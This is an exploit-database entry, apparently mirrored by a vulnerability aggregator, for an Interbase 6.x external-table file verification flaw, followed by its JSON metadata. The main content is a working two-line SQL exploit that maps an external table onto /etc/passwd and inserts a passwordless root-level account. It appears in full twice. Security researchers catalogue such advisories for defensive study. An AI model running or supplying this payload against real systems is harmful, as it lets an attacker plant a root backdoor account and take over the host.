Search...

Interbase 6.x External Table File Verification Vulnerability

2003-04-05T00:00:00

ID EDB-ID:22462
Type exploitdb
Reporter Kotala Zdenek
Modified 2003-04-05T00:00:00

Description

Interbase 6.x External Table File Verification Vulnerability. Remote exploits for multiple platform

                                        
                                            source: http://www.securityfocus.com/bid/7291/info

A vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases. 

create table test external '/etc/passwd' (id char(80));
insert into test values('r00t::0:0:root:/root:/bin/bash');

JSON Vulners Source

Initial Source

{"id": "EDB-ID:22462", "hash": "6b1ddabea31a6a1e75cf0f022e6ea0a4", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Interbase 6.x External Table File Verification Vulnerability", "description": "Interbase 6.x External Table File Verification Vulnerability. Remote exploits for multiple platform", "published": "2003-04-05T00:00:00", "modified": "2003-04-05T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/22462/", "reporter": "Kotala Zdenek", "references": [], "cvelist": [], "lastseen": "2016-02-02T18:47:57", "history": [], "viewCount": 0, "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2016-02-02T18:47:57"}, "dependencies": {"references": [], "modified": "2016-02-02T18:47:57"}, "vulnersScore": 0.1}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/22462/", "sourceData": "source: http://www.securityfocus.com/bid/7291/info\r\n\r\nA vulnerability has been reported for Interbase that may result in the corruption of arbitrary system files. The vulnerability exists due to insufficient checks performed when creating or manipulating external databases. \r\n\r\ncreate table test external '/etc/passwd' (id char(80));\r\ninsert into test values('r00t::0:0:root:/root:/bin/bash'); ", "osvdbidlist": [], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}